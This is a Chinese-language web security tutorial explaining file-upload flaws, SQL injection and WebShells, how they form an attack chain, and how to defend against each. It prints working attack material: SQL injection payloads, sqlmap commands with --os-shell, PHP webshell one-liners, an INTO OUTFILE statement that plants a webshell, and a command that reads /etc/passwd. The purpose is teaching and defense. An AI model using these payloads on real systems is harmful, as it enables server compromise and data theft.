深入解析三大Web安全威脅:文件上傳漏洞、SQL注入漏洞與WebShell

文章目錄

  • 文件上傳漏洞
  • SQL注入漏洞
  • WebShell
  • 三者的核心關聯:攻擊鏈閉環

文件上傳漏洞


文件上傳漏洞(File Upload Vulnerability)

當Web應用允許用戶上傳文件但未實施充分的安全驗證時,攻擊者可上傳惡意文件(如WebShell、病毒等),進而控制服務器或實施攻擊

核心漏洞成因

1,驗證缺失:

  • 文件類型僅驗證MIME類型(易偽造)
  • 未驗證文件內容簽名(如PNG頭)
  • 未限制危險擴展名(.php, .jsp等)

2,路徑控制問題:

  • 允許用戶控制上傳路徑
  • 未隔離上傳目錄的執行權限

3,解析漏洞利用:

  • Apache:shell .php .jpg 可能被解析為PHP
  • IIS:shell .asp; .jpg 被當作ASP執行
  • Nginx:shell .jpg/ .php 路徑解析漏洞

攻擊流程:

攻擊者構造惡意文件
繞過前端驗證
偽造Content-Type/文件頭
利用解析漏洞
上傳至服務器
通過URL直接訪問執行

高危擴展名示例:

語言危險擴展名
PHP.php .phtml .phar
ASP.asp .aspx .cer
JSP.jsp .jspx
其他.htaccess(覆蓋配置)

防御方案:

1.文件驗證三原則:

  • 擴展名白名單(僅允許.jpg/.png等)
  • 文件內容簽名檢測(驗證真實類型)
  • 重命名文件(使用隨機哈希值)

2.權限控制:

# Nginx配置示例:禁止上傳目錄執行腳本
location ^~ /uploads/ {location ~ \.php$ { deny all; }  # 僅禁止上傳目錄的PHP執行
}

3.沙箱隔離:

  • 使用獨立域名托管用戶文件
  • 云存儲服務(如AWS S3)設置只讀權限


SQL注入漏洞


SQL注入漏洞(SQL Injection)

攻擊者通過操縱應用程序的數據庫查詢,插入惡意SQL代碼,從而讀取、修改或刪除數據庫內容


漏洞關鍵點

?id=1' or 1=1 --+
?id=1 union select database()

等等


注入類型

類型攻擊方式危害等級
聯合查詢注入UNION SELECT 1,@@version,3????
布爾盲注AND SUBSTR(database(),1,1)=‘a’???
時間盲注IF(1=1,SLEEP(5),0)???
報錯注入AND GTID_SUBSET(@@version,1)????
堆疊查詢; SHOW TABLES–????

自動化攻擊工具

  • sqlmap:自動檢測并利用SQL注入
  • 常用命令
sqlmap -u "http://site.com/?id=1" --dbs
sqlmap -u "http://site.com/?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php --os-shell

防御策略

1.參數化查詢(最佳實踐)

# Python示例
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

2.深度防御

  • 輸入過濾:過濾 " ; –+ 等特殊字符
  • 最小權限:數據庫賬戶禁用FILE、DROP等權限
  • WAF規則:攔截常見注入模式(如UNION SELECT

WebShell


WebShell

一種駐留在Web服務器上的惡意腳本文件,為攻擊者提供遠程控制接口


常見WebShell功能

<?php
if(isset($_GET['cmd'])) {system($_GET['cmd']);
}
?>

最經典的WebShell

一句話木馬

<?php @eval($_POST[hhh]); ?>

高級WebShell特性

1.隱蔽通信

  • 加密傳輸(AES/Base64)
  • 偽裝成圖片文件(<?php ... ?> 后接圖片數據)

2.多功能模塊

  • 數據庫管理
  • 文件管理器
  • 內網掃描
  • 端口轉發

植入路徑統計

植入方式占比典型案例
文件上傳漏洞62%論壇頭像上傳
SQL注入寫入28%利用SQL寫文件功能
服務器配置漏洞7%FTP弱密碼爆破
其他3%CMS供應鏈攻擊

檢測與清除

1.特征檢測

  • 關鍵詞:eval( )system( )base64_decode( )
  • 文件哈希:對比官方文件校驗值

2.行為監控

# Linux實時監控Web目錄
auditctl -w /var/www/html -p wa -k webshell  # 監控write+attribute變更

3.專業工具

  • 開源:河馬WebShell查殺、LMD
  • 商業:阿里云云盾、騰訊云網站管家

三者的核心關聯:攻擊鏈閉環

直接投遞
數據庫寫文件
提權/滲透
提權/滲透
文件上傳漏洞
WebShell
SQL注入漏洞
服務器控制

1.文件上傳漏洞 → WebShell

  • 直接通道:攻擊者利用上傳功能將WebShell偽裝成圖片/文檔上傳至服務器
  • 關鍵點:繞過文件類型檢測(如修改Content-Type為image/jpeg
  • 結果:通過訪問上傳路徑直接獲得服務器控制權(如 http://site.com/uploads/shell.jpg

2.SQL注入漏洞 → WebShell

  • 間接通道:當注入點具備 寫文件權限FILE權限 + secure_file_priv寬松)時:
UNION SELECT "<?php system($_GET['cmd']); ?>"
INTO OUTFILE '/var/www/html/shell.php'--+
  • 關鍵點:需已知Web絕對路徑(通過報錯/暴力猜解獲取)
  • 結果:在Web目錄生成WebShell文件(如 shell.php

3.WebShell → 擴大攻擊面

  • 控制服務器:通過WebShell執行命令(如 cat /etc/passwd)
  • 反哺漏洞
    讀取服務器配置文件 → 發現數據庫賬號密碼 → 發動更深度SQL注入
    掃描網站源碼 → 發現新上傳點 → 利用文件上傳漏洞二次滲透
  • 橫向移動:以當前服務器為跳板,攻擊內網其他系統

防御關鍵:切斷攻擊鏈

攻擊環節防御措施
文件上傳漏洞文件內容簽名校驗 + 隨機重命名 + 禁用上傳目錄執行權限
SQL注入漏洞參數化查詢 + 數據庫賬戶降權(禁用FILE權限) + 設置secure_file_priv=NULL
WebShell植入文件完整性監控(如Tripwire) + Web目錄禁用寫權限 + 實時掃描惡意腳本

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/90561.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/90561.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/90561.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【對比】群體智能優化算法 vs 貝葉斯優化

在機器學習、工程優化和科學計算中&#xff0c;優化算法的選擇直接影響問題求解的效率與效果。群體智能優化算法&#xff08;Swarm Intelligence, SI&#xff09;和貝葉斯優化&#xff08;Bayesian Optimization, BO&#xff09;是兩種截然不同的優化范式&#xff0c;分別以不同…

LLMs之Agent:ChatGPT Agent發布—統一代理系統將研究與行動無縫對接,開啟智能助理新時代

LLMs之Agent&#xff1a;ChatGPT Agent發布—統一代理系統將研究與行動無縫對接&#xff0c;開啟智能助理新時代 目錄 OpenAI重磅發布ChatGPT Agent—統一代理系統將研究與行動無縫對接&#xff0c;開啟智能助理新時代 第一部分&#xff1a;Operator 和深度研究的自然演進 第…

Linux726 raid0,raid1,raid5;raid 創建、保存、停止、刪除

RAID創建 創建raid0 安裝mdadm yum install mdadm mdadm --create /dev/md0 --raid-devices2 /dev/sdb5 /dev/sdb6 [rootsamba caozx26]# mdadm --create /dev/md0 --raid-devices2 /dev/sdb3 /dev/sdb5 --level0 mdadm: Defaulting to version 1.2 metadata mdadm: array /dev…

深入剖析 MetaGPT 中的提示詞工程:WriteCode 動作的提示詞設計

今天&#xff0c;我想和大家分享關于 AI 提示詞工程的文章。提示詞&#xff08;Prompt&#xff09;是大型語言模型&#xff08;LLM&#xff09;生成高質量輸出的關鍵&#xff0c;而在像 MetaGPT 這樣的 AI 驅動軟件開發框架中&#xff0c;提示詞的設計直接決定了代碼生成的可靠…

關于 ESXi 中 “ExcelnstalledOnly 已禁用“ 的解決方案

第一步&#xff1a;使用ssh登錄esxi esxcli system settings advanced list -o /User/execInstalledOnly可能會得到以下內容 esxcli system settings advanced list -o /User/execInstalledOnlyPath: /User/ExecInstalledOnlyType: integerInt Value: 0Default Int Value: 1Min…

HTML5 Canvas 繪制圓弧效果

HTML5 Canvas 繪制圓弧效果 以下是一個使用HTML5 Canvas繪制圓弧的完整示例&#xff0c;你可以直接在瀏覽器中運行看到效果&#xff1a; <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"view…

智能Agent場景實戰指南 Day 18:Agent決策樹與規劃能力

【智能Agent場景實戰指南 Day 18】Agent決策樹與規劃能力 開篇 歡迎來到"智能Agent場景實戰指南"系列的第18天&#xff01;今天我們將深入探討智能Agent的核心能力之一&#xff1a;決策樹與規劃能力。在現代業務場景中&#xff0c;Agent需要具備類似人類的決策能力…

AI 編程工具 Trae 重要的升級。。。

大家好&#xff0c;我是櫻木。 今天打開 Trae &#xff0c;已經看到它進行圖標升級&#xff0c;之前的圖標&#xff0c;國際和國內版本長得非常像&#xff0c;現在做了很明顯的區分&#xff0c;這點給 Trae 團隊點個贊。 自從 Claude 使出了壓力以來&#xff0c;Cursor 鎖區&…

排序算法,咕咕咕

1.選擇排序void selectsort(vector<int>& v) { for(int i0;i<v.size()-1;i) {int minii;for(int ji1;j<v.size();j){if(v[i]>v[j]){minij;}}if(mini!i)swap(v[i],v[mini]); } }2.堆排序void adjustdown(vector<int>& v,int root,int size) { int …

數據庫查詢系統——pyqt+python實現Excel內查課

一、引言 數據庫查詢系統處處存在&#xff0c;在教育信息化背景下&#xff0c;數據庫查詢技術更已深度融入教務管理場景。本系統采用輕量化架構&#xff0c;結合Excel課表&#xff0c;通過PythonPyQt5實現跨平臺桌面應用&#xff0c;以實現簡單查課效果。 二、GUI界面設計 使用…

base64魔改算法 | jsvmp日志分析并還原

前言 上一篇我們講了標準 base64 算法還原&#xff0c;為了進一步學習 base64 算法特點&#xff0c;本文將結合 jsvmp 日志&#xff0c;實戰還原出 base64 魔改算法。 為了方便大家學習&#xff0c;我將入參和上篇文章一樣&#xff0c;入參為 Hello, World!。 插樁 在js代碼中&…

vue3筆記(2)自用

目錄 一、作用域插槽 二、pinia的使用 一、Pinia 基本概念與用法 1. 安裝與初始化 2. 創建 Store 3. 在組件中使用 Store 4. 高級用法 5、storeToRefs 二、Pinia 與 Vuex 的主要區別 三、為什么選擇 Pinia&#xff1f; 三、定義全局指令 1.封裝通用 DOM 操作&#…

大模型面試回答,介紹項目

1. 模型準備與轉換&#xff08;PC端/服務器&#xff09;你先在PC上下載或訓練好大語言模型&#xff08;如HuggingFace格式&#xff09;。用RKLLM-Toolkit把模型轉換成瑞芯微NPU能用的專用格式&#xff08;.rkllm&#xff09;&#xff0c;并可選擇量化優化。把轉換好的模型文件拷…

Oracle 19.20未知BUG導致oraagent進程內存泄漏

故障現象查詢操作系統進程的使用排序&#xff0c;這里看到oraagent的物理內存達到16G&#xff0c;遠遠超過正常環境&#xff08;正常環境在19.20大概就是100M多一點&#xff09;[rootorastd tmp]# ./hmem|more PID NAME VIRT(kB) SHARED(kB) R…

嘗試幾道算法題,提升python編程思維

一、跳躍游戲題目描述&#xff1a; 給定一個非負整數數組 nums&#xff0c;你最初位于數組的第一個下標。數組中的每個元素代表你在該位置可以跳躍的最大長度。判斷你是否能夠到達最后一個下標。示例&#xff1a;輸入&#xff1a;nums [2,3,1,1,4] → 輸出&#xff1a;True輸入…

【菜狗處理臟數據】對很多個不同時間序列數據的文件聚類—20250722

目錄 具體做法 可視化方法1&#xff1a;PCA降維 可視化方法2、TSNE降維可視化&#xff08;非線性降維&#xff0c;更適合聚類&#xff09; 可視化方法3、輪廓系數評判好壞 每個文件有很多行列的信息&#xff0c;每列是一個駕駛相關的數據&#xff0c;需要對這些文件進行聚類…

Qwen-MT:翻得快,譯得巧

我們再向大家介紹一位新朋友&#xff1a;機器翻譯模型Qwen-MT。開發者朋友們可通過Qwen API&#xff08;qwen-mt-turbo&#xff09;&#xff0c;來直接體驗它又快又準的翻譯技能。 本次更新基于強大的 Qwen3 模型&#xff0c;進一步使用超大規模多語言和翻譯數據對模型進行訓練…

在 OceanBase 中,使用 TO_CHAR 函數 直接轉換日期格式,簡潔高效的解決方案

SQL語句SELECT TO_CHAR(TO_DATE(your_column, DD-MON-YY), YYYY-MM-DD) AS formatted_date FROM your_table;關鍵說明&#xff1a;核心函數&#xff1a;TO_DATE(30-三月-15, DD-MON-YY) → 將字符串轉為日期類型TO_CHAR(..., YYYY-MM-DD) → 格式化為 2015-03-30處理中文月份&a…

pnpm運行electronic項目報錯,npm運行正常。electronic項目打包為exe報錯

pnpm運行electronic項目報錯 使用 pnpm 運行 electronic 項目報錯&#xff0c;npm 運行正常&#xff0c;報錯內容如下 error during start dev server and electron app: Error: Electron uninstallat getElectronPath (file:///E:/project/xxx-vue/node_modules/.pnpm/elect…

8?? 高級特性—— 列表生成式

文章目錄&#x1f9e0; 總結1. 基本語法2. 加篩選條件&#x1f501; 雙層循環&#xff08;全排列&#xff09;&#x1f4c2; 遍歷目錄&#x1f511; 遍歷字典&#x1f521; 轉小寫3. if 和 if...else 的區別4. 練習題&#x1f9e0; 總結 特性用法示例基礎語法[x for x in iter…